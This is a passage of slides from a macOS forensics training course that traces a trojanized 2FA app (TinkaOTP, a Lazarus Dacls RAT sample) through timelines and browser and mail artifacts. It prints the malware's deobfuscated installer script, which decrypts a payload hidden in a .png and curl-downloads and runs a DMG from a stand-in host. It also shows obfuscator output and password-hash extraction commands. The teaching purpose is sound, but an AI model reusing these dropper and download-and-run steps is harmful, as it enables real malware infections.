Analysis of TinkaOTP.app (4/4)◦ Dynamic analysis (3)▪ PID = 1133
% jq '. | select(.process.pid == 1133)' ./json/tinkaotp_procmon.json 2>/dev/null(snip){"event": "ES_EVENT_TYPE_NOTIFY_EXEC","timestamp": "2021-12-15 06:08:34 +0000","process": {"pid": 1133,"name": "bash",
A file in TinkaOTP.app was copied and run as .mina.
"path": "/bin/bash",
It has been confirmed that .mina was dropped.
"uid": 501,
"architecture": "Intel","arguments": ["/bin/bash","-c","cp /Users/macforensics/Desktop/TinkaOTP.app/Contents/Resources/Base.lproj/SubMenu.nib ~/Library/.mina > /dev/null
2>&1 && chmod +x ~/Library/.mina > /dev/null 2>&1 && ~/Library/.mina > /dev/null 2>&1"],"ppid": 1132,(snip)
168

Timelines up to this point (1/2)
Timestamp (UTC)

Activity2021-11-25 04:41:22.660911/Users/macforensics/Downloads/Installer.dmg was created.
(Downloaded from http://www.2fa.test/download/Installer.dmg using Safari)2021-11-25 04:41:27.593697/Users/macforensics/Downloads/Installer.dmg mounted (Start of verification).

2021-11-25 04:41:34.416693

Installer was mounted (apfs).

2021-11-25 04:41:37.924145

TinkaOTP Installer was run (using Finder).

2021-11-25 04:41:38.114360/Volumes/Installer/TinkaOTP Installer.app/Contents/MacOS/TinkaOTP Installer was run.

2021-11-25 04:41:40.842618/var/folders/yb/qc22ltgs12z203pjg52r40m40000gn/T/Installer.jv3vIUms was run.

2021-11-25 04:41:40.892716/Users/macforensics/Downloads/TinkaOTP.dmg was created.

169

Timelines up to this point (2/2)
Timestamp (UTC)

Activity2021-11-25 04:41:44.076904

TinkaOTP was mounted (hfs).

2021-11-25 04:41:44.097888/Applications/TinkaOTP.app created (same as the file in TinkaOTP.dmg).

2021-11-25 04:41:44.355439

TinkaOTP was unmounted (hfs).

2021-11-25 04:41:44.446290

TinkaOTP was run (using open command).

2021-11-25 04:41:45.360051/User/macforensics/Library/.mina was created (dropped by TinkaOTP).

2021-11-25 04:41:45.398062/Users/macforensics/Library/.mina was run (run by TinkaOTP).

2021-11-25 04:41:45.406457/Users/macforensics/Library/LaunchAgents/com.aex-loop.agent.plist created (it must be
created by .mina...).

2021-11-25 04:41:59.291558

Installer was unmounted (apfs).

170

Looking back at timelines up to this point◦ Analysis results of TinkaOTP.app▪ TinkaOTP.app drops and runs .mina.
▪ How to create and run TinkaOTP.dmg is unknown.
▪ The Installer.dmg that was mounted immediately
before TinkaOTP.dmg was created needs to beanalyzed.

171

9

Exercise 5: Analysis of Installer.dmg

172

Analysis of Installer.dmg (1/2)◦ Based on the timeline, Installer.app isconsidered to be located in
Installer.dmg.
▪ Folders under /Volumes are not included in the disk
image and cannot be confirmed.
▪ We will continue the analysis assuming that they are
the same.

173

Analysis of Installer.dmg (2/2)

Hands-On◦ String search; Dynamic analysis▪ Confirm how to generate and run TinkaOTP.dmg.
▸Mount and analyze Installer.dmg.
● /Volumes/TinkaOTP Installer/TinkaOTP

Installer.app/Contents/MacOS/TinkaOTP Installer▸Those who do not have a macOS VM should analyze files
in the following folder.
● exported_files/TinkaOTP
Installer.app/Contents/MacOS/TinkaOTP Installer▸Tip: If nothing is found with the same method as done
before, check the file type.
174

Solutions to
Exercise 5
175

Analysis of Installer.dmg (1/10)◦ String search▪ A TinkaOTP string cannot be found.
% hdiutil attach ./exported_files/Installer.dmg% strings -a /Volumes/Installer/TinkaOTP¥ Installer.app/Contents/MacOS/TinkaOTP¥ Installer | grep TinkaOTP▪ When we check the file type, we find that it is not a Mach-O
binary, but a shell script instead.
% file /Volumes/Installer/TinkaOTP¥ Installer.app/Contents/MacOS/TinkaOTP¥ Installer/Volumes/Installer/TinkaOTP Installer.app/Contents/MacOS/TinkaOTP Installer: Bourne-Again shell script text
executable, ASCII text, with very long lines▪ We will copy it to the desktop for the purpose of analysis anddelete the execute bit for caution's sake.
% cp /Volumes/Installer/TinkaOTP¥ Installer.app/Contents/MacOS/TinkaOTP¥ Installer ~/Desktop/exported_files/% chmod -x ~/Desktop/exported_files/TinkaOTP¥ Installer

176

Analysis of Installer.dmg (2/10)◦ Dynamic and static analysis (1)▪ When we check the script on the text editor, we find it isobfuscated.

177

Analysis of Installer.dmg (3/10)◦ Dynamic and static analysis (2)▪ Replace semi colons with line breaks.

178

Analysis of Installer.dmg (4/10)◦ Dynamic and static analysis (3)An obfuscated script is often
decrypted with eval at the end of
the script and run, so we will
dump the last line with echo.

179

Analysis of Installer.dmg (5/10)◦ Dynamic and static analysis (4)▪ Run the modified script on the VM and check the
dumped content.
% chmod +x ~/Desktop/exported_files/TinkaOTP¥ Installer_mod
AppleScript% ~/Desktop/exported_files/TinkaOTP¥ Installer_mod
eval #!/bin/bashosascript -e 'set popup to display dialog "Thanks for installing our product!!" with icon file"Volumes:Installer:TinkaOTP Installer.app:Contents:Resources:TinkaOTP.icns" with title "TinkaOTP Installer"
buttons {"OK"}'
TEMP_NAME="$(mktemp -t Installer)"
tail -c -8448 /Volumes/Installer/TinkaOTP¥ Installer.app/Contents/Resources/.TinkaOTP.png | openssl enc -aes256-cbc -salt -md md5 -d -A -base64 -out "${TEMP_NAME}" -pass 'pass:UdIm~Kdl$bOd[&E=' && chmod +x"${TEMP_NAME}" && "${TEMP_NAME}" > /dev/null 2>&1 && rm -rf "${TEMP_NAME}"

Shell script180

Analysis of Installer.dmg (6/10)◦ Dynamic and static analysis (5)▪ Running the AppleScript displays the following dialog
box.

181

Analysis of Installer.dmg (7/10)◦ Dynamic and static analysis (6)▪ Overview of the Shell script section▸The last 8448 bytes is extracted from .TinkaOTP.png and
the AES encrypted data is decrypted with openssl.
▸The decrypted data is output to a file with a random namein a temporary folder and deleted after execution.
▸The temporary folder on macOS is not /tmp.
% mktemp -t Installer/var/folders/yb/qc22ltgs12z203pjg52r40m40000gn/T/Installer.cgnxY9Ss● The program in the temporary folder that was left in the run
trace indicates the above.
182

Analysis of Installer.dmg (8/10)◦ Dynamic and static analysis (7)▪ The decrypted data is an obfuscated script.

183

Analysis of Installer.dmg (9/10)◦ Dynamic and static analysis (8)▪ Solve the obfuscated script in the same procedure asdone for the first one.
% ~/Desktop/exported_files/deobfuscated_script_mod.sh
eval #!/bin/bash
curl -L http://www.2fa.test/download/TinkaOTP.dmg -o ~/Downloads/TinkaOTP.dmg
hdiutil attach ~/Downloads/TinkaOTP.dmg
cp -r /Volumes/TinkaOTP/TinkaOTP.app /Applications/hdiutil eject /Volumes/TinkaOTP
mkdir -p ~/Library/LaunchAgents/
open /Applications/TinkaOTP.app

184

Analysis of Installer.dmg (10/10)◦ Based on the content of the second obfuscatedscript, we can see that TinkaOTP.dmg was
downloaded by TinkaOTP Installer.app with curl.
◦ Because curl was used, a record of downloading
was not left in the artifacts.
◦ Since the com.apple.quarantine extended
attribute is also not set, check by the Gatekeeper
was not performed either.
◦ Based on the above findings, the activities fromdownloading of Installer.dmg to running .mina
have been clarified.
185

Unsolved matters (1/3)◦ When we performed dynamic analysis of _mina,
we could not confirm that a persistence file wascreated.
◦ As an activity that may be relevant to thismatter, the “~/Library/LaunchAgents” folder was
created and then TinkaOTP.app was run in thesecond obfuscated script.
% ~/Desktop/exported_files/deobfuscated_script_mod.sh
eval #!/bin/bash
curl -L http://www.2fa.test/download/TinkaOTP.dmg -o ~/Downloads/TinkaOTP.dmg
hdiutil attach ~/Downloads/TinkaOTP.dmg
cp -r /Volumes/TinkaOTP/TinkaOTP.app /Applications/hdiutil eject /Volumes/TinkaOTP
mkdir -p ~/Library/LaunchAgents/
The folder where "com.aex-loop.agent.plist" is created.
open /Applications/TinkaOTP.app

186

Unsolved matters (2/3)◦ Disassemblingof _mina

A general user’s persistence file.
~/Library/LaunchAgents/com.aex-loop.agent.plist

The root user’s
persistence file.

In the case of a general user, the~/Library/LaunchAgents/ folder does notexist by default, then calling fopen() fails.
187

Unsolved matters (3/3)◦ In the actual malware infection process,the shell script pre-creates"~/Library/LaunchAgents/" to avoid thepersistence file creation bug.
◦ If we do the same for _mina's dynamic
analysis, we can also confirm thecreation of persistence files.
188

Timelines up to this point (1/2)
Timestamp (UTC)

Activity2021-11-25 04:41:22.660911/Users/macforensics/Downloads/Installer.dmg was created.
(Downloaded from http://www.2fa.test/download/Installer.dmg using Safari)2021-11-25 04:41:27.593697/Users/macforensics/Downloads/Installer.dmg mounted (Start of verification).

2021-11-25 04:41:34.416693

Installer was mounted (apfs).

2021-11-25 04:41:37.924145

TinkaOTP Installer was run (using Finder).

2021-11-25 04:41:38.114360/Volumes/Installer/TinkaOTP Installer.app/Contents/MacOS/TinkaOTP Installer was run.

2021-11-25 04:41:40.842618/var/folders/yb/qc22ltgs12z203pjg52r40m40000gn/T/Installer.jv3vIUms run (TinkaOTP
Installer will drop and run it. This script downloads and executes TinkaOTP.).

2021-11-25 04:41:40.892716/Users/macforensics/Downloads/TinkaOTP.dmg was created.

189

Timelines up to this point (2/2)
Timestamp (UTC)

Activity2021-11-25 04:41:44.076904

TinkaOTP was mounted (hfs).

2021-11-25 04:41:44.097888/Applications/TinkaOTP.app created (same as the file in TinkaOTP.dmg).

2021-11-25 04:41:44.355439

TinkaOTP was unmounted (hfs).

2021-11-25 04:41:44.446290

TinkaOTP was run (using open command).

2021-11-25 04:41:45.360051/User/macforensics/Library/.mina was created (dropped by TinkaOTP).

2021-11-25 04:41:45.398062/Users/macforensics/Library/.mina was run (run by TinkaOTP).

2021-11-25 04:41:45.406457/Users/macforensics/Library/LaunchAgents/com.aex-loop.agent.plist created (created by.mina).

2021-11-25 04:41:59.291558

Installer was unmounted (apfs).

190

Looking back timelines up to this point◦ Analysis results of Installer.dmg▪ When TinkaOTP Installer.app is run, an obfuscatedshell script is dropped as the following file.

▸/var/folders/yb/qc22ltgs12z203pjg52r40m40000gn/T/Installer.jv3vIUms▪ Processing content of the dropped shell script▸TinkaOTP.dmg is downloaded, installed, and run.
▸The ~/Library/LaunchAgents/ folder is created to preventthe bug that .mina not being able to set persistence.

191

10

Exercise 6:
Reasons why TinkaOTP Installer.app
was run192

Purpose of investigating the running of TinkaOTP Installer.app◦ Our investigation so far has analyzed theactivities after Installer.dmg was downloaded
from Safari.
◦ However, the reasons why Installer.dmg was
downloaded and run still remain unknown.
◦ In such a case, the activities of the user itself
may have a clue to find out the reasons.
▪ Web access history▪ Web search history▪ Email, etc.
193

10.1

Artifacts related to the running of
TinkaOTP Installer.app

194Web access (Safari) artifacts (1/2)◦ History▪ /Users/<username>/Library/Safari/History.db▪ Deleted after one year by default.

◦ Downloads▪ /Users/<username>/Library/Safari/Downloads.plist▪ Deleted after one day by default.

◦ Last Session▪ Safari 14 or earlier▸/Users/<username>/Library/Safari/LastSession.plist▪ Safari 15 or later▸/Users/<username>/Library/Containers/com.apple.Safari/Data/Library/Safari/SafariTabs.db
195

Web access (Safari) artifacts (2/2)◦ Bookmarks▪ /Users/<username>/Library/Safari/Bookmarks.plist◦ Extensions▪ Safari 13 or earlier▸/Users/<username>/Library/Safari/Extensions/Extensions.plist▪ Safari 14 or later▸/Users/<username>/Library/Containers/com.apple.Safari/Data/Library/Safari/AppExtensi
ons/Extensions.plist▸/Users/<username>/Library/Containers/com.apple.Safari/Data/Library/Safari/WebExtens
ions/Extensions.plist◦ Preferences▪ Safari 12 or earlier▸/Users/<username>/Library/Preferences/com.apple.Safari.plist▪ Safari 13 or later▸/Users/<username>/Library/Containers/com.apple.Safari/Data/Library/Preferences/com.
apple.Safari.plist

196

Email (Apple Mail) artifacts◦ Spotlight also covers Apple Mail forindexing by default.
◦ Here, instead of directly analyzing Apple
Mail related files, we will investigate the
Spotlight database.

197

10.2

Hands-on:
Investigation of reasons why
TinkaOTP Installer.app was run

198

Investigation of reasons why TinkaOTP Installer.app was run◦ Presume the reasons why TinkaOTP
Installer was run from Finder based on
web access history and email.
◦ Items to be investigated▪ mac_apt.db▸Safari▸Spotlight-macforensics-store_com.apple.mail▸Spotlight-macforensics-.store-DIFF_com.apple.mail199

mac_apt.db: Safari (1/3)

Hands-On◦ Web access history on Safari▪ Web page title, URL, access date

◦ Filtering conditions (1)▪ Type = HISTORY▪ Name_or_Title: Searched word or web page title▪ Sorting based on Date enables to display the pages in
the order of their access.

200

mac_apt.db: Safari (2/3)

Hands-On◦ Address bar search history on Safari▪ Search string, date, and time of search◦ Filtering conditions (2)▪ Other_Info = RECENT_SEARCH▪ Name_or_Title: Searched word
▪ Date: Search timestamp201

mac_apt.db: Safari (3/3)

Hands-On◦ List of files downloaded from Safari▪ File download URL, file path to the storage location▪ Timestamp is not available.

◦ Filtering conditions (3)▪ Type = DOWNLOAD▪ URL = Domain name related to the attacker▪ URL: Download source URL▪ Other_Info: Path to the destination file
▪ Date and time of download is not recorded.

◦ If a file was downloaded after browsing web pages, Typeshould be recorded for both HISTORY and DOWNLOAD.

▪ If only Type = DOWNLOAD is recorded...?
202

mac_apt.db: Spotlight-macforensics-*_com.apple.mail

Hands-On◦ Filtering conditions▪ kMDItemAuthorEmailAddresses: Email address of thesender▪ com_apple_mail_dateReceived: Date and time ofemail receipt▪ kMDItemSubject: Subject of email▪ _kMDItemSnippet: Body of email (up to 300 bytes)▪ Filter using the domain name, etc. used by theattacker.

203

Solutions to
Exercise 6
204

Reasons why TinkaOTP Installer.app was run (1/5)◦ mac_apt.db: Safari▪ By checking access history and search history, you canfind the user was looking into the following tools.

▸Software development tools▸Text editors▸brew▸Two-factor authentication tools

205

Reasons why TinkaOTP Installer.app was run (2/5)
Search for softwaredevelopment tools

Search for brew

Search for text editors

Search for two-factor
authentication tools
206

Reasons why TinkaOTP Installer.app was run (3/5)

Same search words
as search based on
Type = HISTORY

207

Reasons why TinkaOTP Installer.app was run (4/5)◦ Filtering URLs with 2fa.test displays only
the download history.

◦ Since only the download history isrecorded, it is possible that Installer.dmg
was downloaded by clicking a link in a
mail or message.
208

Reasons why TinkaOTP Installer.app was run (5/5)◦ The following SQL can display mail entries with text containing“2fa.test”.

SELECT kMDItemPrimaryRecipientEmailAddresses, kMDItemAuthors, kMDItemAuthorEmailAddresses,
com_apple_mail_dateReceived, com_apple_mail_dateLastViewed, kMDItemSubject, _kMDItemSnippet FROM "Spotlightmacforensics-.store-DIFF_com.apple.mail" WHERE _kMDItemSnippet LIKE "%2fa.test%";◦ For this hands-on session, I intentionally kept the body of the◦phishing email under 300 bytes.
In an actual incident, an email forensic tool would likely berequired.
209

Timelines up to this point (1/2)
Timestamp (UTC)

Activity2021-11-25 04:28:04

While searching for two-factor authentication tools, the user received a phishing mail fromsales@2fa.test.

2021-11-25 04:41:22.660911/Users/macforensics/Downloads/Installer.dmg was created.
(Downloaded from http://www.2fa.test/download/Installer.dmg using Safari by clicking a link inthe mail)

2021-11-25 04:41:27.593697/Users/macforensics/Downloads/Installer.dmg mounted (Start of verification).

2021-11-25 04:41:34.416693

Installer was mounted (apfs).

2021-11-25 04:41:37.924145

TinkaOTP Installer was run (using Finder).

2021-11-25 04:41:38.114360/Volumes/Installer/TinkaOTP Installer.app/Contents/MacOS/TinkaOTP Installer was run.

2021-11-25 04:41:40.842618/var/folders/yb/qc22ltgs12z203pjg52r40m40000gn/T/Installer.jv3vIUms was run (TinkaOTP
Installer drops and runs, and performs the process up to the running of TinkaOTP).

2021-11-25 04:41:40.892716/Users/macforensics/Downloads/TinkaOTP.dmg was created.

210

Timelines up to this point (2/2)
Timestamp (UTC)

Activity2021-11-25 04:41:44.076904

TinkaOTP was mounted (hfs).

2021-11-25 04:41:44.097888/Applications/TinkaOTP.app created (same as the file in TinkaOTP.dmg).

2021-11-25 04:41:44.355439

TinkaOTP was unmounted (hfs).

2021-11-25 04:41:44.446290

TinkaOTP was run (using open command).

2021-11-25 04:41:45.360051/User/macforensics/Library/.mina was created (dropped by TinkaOTP).

2021-11-25 04:41:45.398062/Users/macforensics/Library/.mina was run (run by TinkaOTP).

2021-11-25 04:41:45.406457/Users/macforensics/Library/LaunchAgents/com.aex-loop.agent.plist created (created by.mina).

2021-11-25 04:41:59.291558

Installer was unmounted (apfs).

211

Looking back at timelines up to this point◦ Now we have completed the forensic
timeline that covers the scenarios
prepared for this hands-on session.
▪ The true reasons why TinkaOTP Installer was run
needs to be confirmed by interviewing the user.

212

11

Discussion related to the architectureof the hands-on environment

213

Reasons why TinkaOTP Installer.app was able to be run (1/3)◦ For files downloaded from Safari, thecom.apple.quarantine extended attribute isgiven.
◦ Gatekeeper/Notarization prevents the executionof unsigned applications.
◦ An application that cannot actually be run wasrun.
◦ It is possible that security frameworks including
Gatekeeper were bypassed.
214

Reasons why TinkaOTP Installer.app was able to be run (2/3)◦ Vulnerability used: CVE-2021-30657▪ macOS Gatekeeper Bypass (2021 Edition)▸https://cedowens.medium.com/macos-gatekeeper-bypass2021-edition-5256a2955508▪ All Your Macs Are Belong To Us▸https://objective-see.com/blog/blog_0x64.html

215

Reasons why TinkaOTP Installer.app was able to be run (3/3)◦ If run on macOS 12.0.1

216

Obfuscated shell script◦ Obfuscated shell script used for TinkaOTP
Installer.app▪ I re-implemented the obfuscator used in Zshlayer myself.
% cat installer.sh#!/bin/bashosascript -e 'set popup to display dialog "Thanks for installing our product!!" with icon file "Volumes:Installer:TinkaOTP
Installer.app:Contents:Resources:TinkaOTP.icns" with title "TinkaOTP Installer" buttons {"OK"}'
TEMP_NAME="$(mktemp -t Installer)"
tail -c -8448 /Volumes/Installer/TinkaOTP¥ Installer.app/Contents/Resources/.TinkaOTP.png | openssl enc -aes-256-cbc -salt -md md5 -d -A -base64 -out"${TEMP_NAME}" -pass 'pass:UdIm~Kdl$bOd[&E=' && chmod +x "${TEMP_NAME}" && "${TEMP_NAME}" > /dev/null 2>&1 && rm -rf "${TEMP_NAME}"% python3 ~/Documents/GitHub/z4so/z4so.py -i installer.sh -c#!/bin/bash
zsh << 'ToKzwe9'
kkxLxsCrli='0006';L3LKqw3ggwI5='00000049¥U000';YFk0ZsBFz='00006f¥U0';jS2OE='045¥U4d¥';GE7j7rrEIE='0006f¥U06c¥U75¥U';VBz='00072¥U20¥U000';uAhmlU='74¥U000
006f¥U0002';aF9uK2ISlx='073¥U2f¥U0000052';SMQbGKd='U00000';Sbt07='0¥U00000065¥U6';jVbrg='22¥U00000024';gWw9n='000';AUB1Zlq1m3ny='e¥U000004';JN3qa='U0000
005f¥U0';fGO='0002';g0LJ2LVH='3¥U0';ehWv7YCqpLAK='U00070¥U00006c';Eja9='2¥U4f¥U4b¥U22¥U';MwlDYgiuueo='03a¥U00054¥U00';IIDiTjnk='0045¥U0000004d¥';VFc8Dgyef='¥U00026¥U0026¥U20';vo90FD='45¥U007d';HeTBegXt='073¥U000006c¥U2';pvv425='¥U0';an4Ua36S5='3¥U';LAnofSdl4qL='0000061¥U000004f';HViG16vctYr1='43¥U6';tD7
2TRUa3erc='¥U000063¥U068¥';FXK6XKRXH5f='070¥U00002f¥U0';ge6fJvda='20¥U69¥U000063¥';e04PDo='¥U0';Jgu='61¥U073¥U000073¥U';Rj0d0D='¥U00000072¥U00';MVDg0nBg
DHRX='00000';tTj='U22¥U00054¥U';roQA0J3de='65';vFCu='002e¥U0061¥U7';HmcT0sQUd='3e¥U20¥U2f¥';tkW3VvO3='0¥U5f¥U000000';sZP='063¥U00000065¥U0';UOfgQRPHC='0
00068¥U00';B1Sn='000006b¥U0';pr8If='000004e¥U0';ZOCG5Pe6Vy7K='00069¥U00074¥U6c';MS7='0038¥U20¥U02f¥U00';iHkhacZf5t5='0¥U6d¥U00';qcA3qv210wJM='¥U23¥U0000(snip)

217

TinkaOTP.app◦ I used the actual malware TinkaOTP.app and.mina as they are.
▪ Lazarus' MacOS Dacls RAT Shows Multi-Platform Ability▸https://www.trendmicro.com/en_us/research/20/e/new-macosdacls-rat-backdoor-show-lazarus-multi-platform-attackcapability.html▪ New Mac variant of Lazarus Dacls RAT distributed via
Trojanized 2FA app▸https://blog.malwarebytes.com/threat-analysis/2020/05/new-macvariant-of-lazarus-dacls-rat-distributed-via-trojanized-2fa-app/

218

12

Summary219

Summary◦ We have shared the basics of macOS
forensics (basic process, artifacts,
analysis tools, etc.).
◦ We also shared how to create a forensic
timeline using the analysis results of
mac_apt.
▪ The roles of three databases generated by mac_apt
and the filtering method for each analysis result.
▪ Simplified analysis method for suspicious programs.
220

Thank you for listening!

Any questions?

221

A1

Appendix 1:macOS forensic artifacts

222

Artifacts used in macOS forensics◦ I will discuss only typical artifacts.
◦ macOS artifacts often change.
▪ The file path and name change due to OS version
upgrade.
▪ The string recorded in the log changes.
▪ Some messages are no longer logged.

◦ macOS forensic tools require
maintenance on an ongoing basis.
223

Filesystem – HFS+

◦ This filesystem has been used since Classic Mac OS. However, since OS◦

has been installed to the APFS volume since macOS 10.13, there will be
few cases where it will be investigated in the future.
Metadata▪ Volume Header▸Offset to other metadata is recorded.
▪ Alternate Volume Header▸Backup of Volume Header.
▪ Allocation File
▸Bit map of blocks used.
▪ Extents Overflow File
▸Management of expanding the capacity of each metadata item (bad sectors are also managed here).
▪ Catalog File
▸Metadata of files and folders are stored.
▪ Attributes File
▸The Extended Attributes of files and folders.

◦ Journaling (Mac OS X 10.2.2 or later)▪ “.journal” is created directly under the root directory (corresponds to $UsnJrnl:$J in the NTFS).
224

Filesystem – Apple File System (APFS)◦ New filesystem adopted from macOS 10.13.
▪
◦ It is managed by tracing the metadata structure information recorded ina particular offset in the disk.
◦ For example, to acquire a file offset, the following structures are
Snapshots and encryption of the filesystem, etc. are supported.

browsed in order.

▪ Container Superblock▪ Checkpoint area
▪ Container object map (Object map)
▪ Object map B-tree▪ Volume Superblock▪ Object map▪ Object map B-Tree▪ Filesystem B-Tree (Root node)▪ Filesytem B-Tree (Leaf node)▪ j_file_extent_val_t: Offset in the disk
225

Filesystem metadata (1/4)◦ .fseventsd▪ Mac OS X 10.5 or later▪ It can be used for both HFS+ and APFS.
▪ Information similar to $UsnJrnl:$J of NTFS is recorded.
▪ Records are recorded in file units; multiple events, such as filecreation, change, delete, etc., are recorded in one record.
▪ Since no timestamps are recorded, we will use update dates ofartifact files as rough timestamps.
▪ The following are recorded in the “.fseventsd” folder directly under
the root directory of each partition.

▸If a file named “no_log” is created directly under the .fseventsd directory,
records will no longer be recorded in that volume.

▪ Created also in external media.
226

Filesystem metadata (2/4)◦ .DS_Store▪ Mac OS X 10.4 or later▪ It can be used for both HFS+ and APFS.
▪ Information similar to $UsnJrnl:$J of NTFS is recorded.
▪ It is created when a folder is opened from Finder and afile display method, etc. are stored.
▪ .DS_Store in Trash (~/.Trash folder) contains theoriginal file names of deleted files and their folder
paths.

227

Filesystem metadata (3/4)◦ Extended Attributes (1)▪ Supplemental file information is stored.
▪ It can be used for both HFS+ and APFS.
▪ Corresponds to Alternate Data Stream (ADS) of NTFS.
▪ It is given when a file is downloaded with a web browser, etc.
▸kMDItemWhereFroms: Download source URL▸kMDItemDownloadedDate: Date and time of file download▪ The security framework of macOS refers to this attribute to display a
dialog box, scan files, etc.

▸com.apple.quarantine▪ When a file is copied to exFAT and other filesystems which cannot
store Extended Attributes, the information will be stored in a hidden
file named “._<filename>” (AppleDouble format).
228

Filesystem metadata (4/4)▪ Extended Attributes (2)% xattr -l ~/Downloads/Hopper-5.2.0-demo.dmg
com.apple.metadata:kMDItemWhereFroms:
00000000 62 70 6C 69 73 74 30 30 A2 01 02 5F 10 3B 68 74 |bplist00..._.;ht|00000010 74 70 73 3A 2F 2F 64 32 61 70 36 79 70 6C 31 78 |tps://d2ap6ypl1x|
00000020 62 65 34 6B 2E 63 6C 6F 75 64 66 72 6F 6E 74 2E |be4k.cloudfront.|
00000030 6E 65 74 2F 48 6F 70 70 65 72 2D 35 2E 32 2E 30 |net/Hopper-5.2.0|00000040 2D 64 65 6D 6F 2E 64 6D 67 5F 10 28 68 74 74 70 |-demo.dmg_.(http|00000050 73 3A 2F 2F 77 77 77 2E 68 6F 70 70 65 72 61 70 |s://www.hopperap|
00000060 70 2E 63 6F 6D 2F 64 6F 77 6E 6C 6F 61 64 2E 68 |p.com/download.h|00000070 74 6D 6C 3F 08 0B 49 00 00 00 00 00 00 01 01 00 |tml?..I.........|
00000080 00 00 00 00 00 00 03 00 00 00 00 00 00 00 00 00 |................|
00000090 00 00 00 00 00 00 74|......t|
00000097
com.apple.quarantine: 0081;61bfcf9b;Firefox;267B7D7C-D5A0-4F13-B87F-B2D2DC81BE89

229

User accounts (1/6)◦ Open Directory▪ Directory service and network authentication system used in macOS.
▪ Performs access and management of managed information, such as
user accounts, and groups and host settings.
▪ It accesses the backend local files, LDAP, and Active Directorythrough plugins.

◦ Local root folder of Open Directory▪ /private/var/db/dslocal/nodes/Default/▪ Various information is stored under the root folder as plist files.

◦ Access to Open Directory information▪ dscl command (live system)▪ Direct access to the configuration file (live system or offline)
230

User account (2/6)◦ dscl command$ sudo dscl
Entering interactive mode... (type "help" for commands)> cd Local/Default//Local/Default > ls Users/
Gets the user list.
_amavisd_analyticsd_appinstalld
Gets the user password hash.
(snip)/Local/Default > read Users/macforensics ShadowHashData
dsAttrTypeNative:ShadowHashData:
62706c69 73743030 d2010203 0a5f101e 5352502d 52464335 3035342d 34303936 2d534841 3531322d
50424b44 46325f10 1453414c 5445442d 53484135 31322d50(snip)

231

User accounts (3/6)◦ Direct access to the configuration file▪ Getting the user list.
$ sudo ls /private/var/db/dslocal/nodes/Default/users/_amavisd.plist_devicemgr.plist_krb_krbtgt.plist_scsd.plist_analyticsd.plist_diskimagesiod.plist(snip)▪ Getting the user password hash.
$ sudo plutil -extract 'ShadowHashData' xml1
/private/var/db/dslocal/nodes/Default/users/macforensics.plist -o - | grep -v "<" | base64-d -i - -o - | plutil -convert xml1 - -o -232

User accounts (4/6)◦ Last login user

▪ /Library/Preferences/com.apple.loginwindow.plist▪ In addition to the last login user, the last result and the last timestamp of login
attempts, auto login user, acceptance of the guest user, etc. are recorded.

$ % plutil -p /Library/Preferences/com.apple.loginwindow.plist{"AccountInfo" => {"FirstLogins" => {"macforensics" => 1
"user01" => 1}
"MaximumUsers" => 1
"OnConsole" => {}}"GuestEnabled" => 0
"lastLoginPanic" => 642904286.81091"lastUser" => "loggedIn""lastUserName" => "macforensics""MCXLaunchAfterUserLogin" => 1
"OptimizerLastRunForBuild" => 42142560"OptimizerLastRunForSystem" => 184681216"SHOWFULLNAME" => 1
"UseVoiceOverLegacyMigrated" => 1}

233

User accounts (5/6)◦ Deleted users▪ /Library/Preferences/com.apple.preferences.accounts.plist▪ The names, IDs, and timestamps of the deleted users are recorded.

$ plutil -p /Library/Preferences/com.apple.preferences.accounts.plist{"deletedUsers" => [0 => {"date" => 2021-05-20 02:53:51 +0000"dsAttrTypeStandard:RealName" => "testuser""dsAttrTypeStandard:UniqueID" => 502"name" => "testuser"
}
]
}

234

User accounts (6/6)◦ Internet accounts▪ /Users/<username>/Library/Accounts/AccountsX.sqlite▪ “Internet Accounts” information under “System

Preferences” is stored.
▪ The number “X” in “AccountsX.sqlite” varies dependingon the OS version.

▸In macOS 10.15 and macOS 11:● Accounts4.sqlite

235

Program run history (1/6)◦ Program run history in macOS▪ A function, such as Prefetch in Windows, is notavailable.
▪ Program run history is left as the history for each of theapplications, including zsh, Finder, and Spotlight.

▸Timestamps are often not recorded.
▪ In the Unified Logs, run commands and applications
may be recorded.

▸Timestamps are also recorded.
▸A program run history to be recorded in the Unified Logs is
described later.
236

Program run history (2/6)◦ .bash_history▪ bash command history◦ .bash_sessions directory▪ Adopted from macOS 10.11.
▪ Histories are divided for each bash session and saved.
▪ File structure▸TERM_SESSION_ID.history: A session history is stored.
▸TERM_SESSION_ID.historynew: Left blank in many cases.
▸TERM_SESSION_ID.session: The last resumed timestamp is stored.
▸File creation timestamp of TERM_SESSION_ID.historynew = Session start date and time
▸File creation timestamp of TERM_SESSION_ID.historyfile = Session end date and time
▪ The .history file contains not only the command history of the session in question,
but also a copy of the command history of previous sessions. Therefore, theactual command history of the session in question is the difference between the
two.

237

Program run history (3/6)◦ .zsh_history▪ zsh command history▪ In macOS 10.15, the terminal default shell has been changed
to zsh.
▪ Although the date and time when a command was run is notrecorded, you can get the command run date and time byrunning the zsh built-in command “history –i 1”.

◦ .zsh_sessions directory▪ As in .bash_sessions, a history for each zsh session issaved.
238

Program run history (4/6)◦ Users Interface Preservation▪ Adopted in OS X 10.7.
▪ In order to restore the application status at login, this feature
stores application data when the system is rebooted.
▪ ~/Library/Saved Application State/*.savedState/▸The date and time of directory creation is the timestamp for the
first application run.
▸The date and time of file modification is the timestamp for the last
application run.
▸Although this data is encrypted with AES-128, its key is stored ina separate file from the data.

▪ The buffer of Terminal application can be restored.
239

Program run history (5/6)◦ Spotlight Shortcuts▪ Applications run from Spotlight are recorded.
▪ Since Spotlight supplements application names, you can run Firefox just by▪

entering “fire”. In this case, entries in which “fire” and “Firefox” are associatedare recorded.
OS X 10.9 or earlier▸~/Library/Preferences/com.apple.spotlight.plist▪ OS X 10.10 or later▸~/Library/Application Support/com.apple.spotlight.Shortcuts▪ macOS 10.15▸~/Library/Application Support/com.apple.spotlight/com.apple.spotlight.Shortcuts▪ macOS 11 or later▸~/Library/Application Support/com.apple.spotlight/com.apple.spotlight.Shortcuts.v3
240

Program run history (6/6)◦ Transparency, Consent, and Control (TCC)▪ Timestamps of permission settings for applications that accessprivacy related functions (camera, microphone, and etc.) or specificfolders (~/Documents, ~/Desktop, and ~/Downloads, etc.) arerecorded.
▪ System▸/Library/Application Support/com.apple.TCC/TCC.db▪ User▸/Users/<username>/Library/Application Support/com.apple.TCC/TCC.db▪ Recorded also in the Unified Logs.
▸https://www.mac4n6.com/blog/2020/6/1/analysis-of-apple-unified-logsquarantine-edition-entry-10-you-down-with-tcc-yea-you-know-me-trackingapp-permissions-and-the-tcc-apollo-module
241

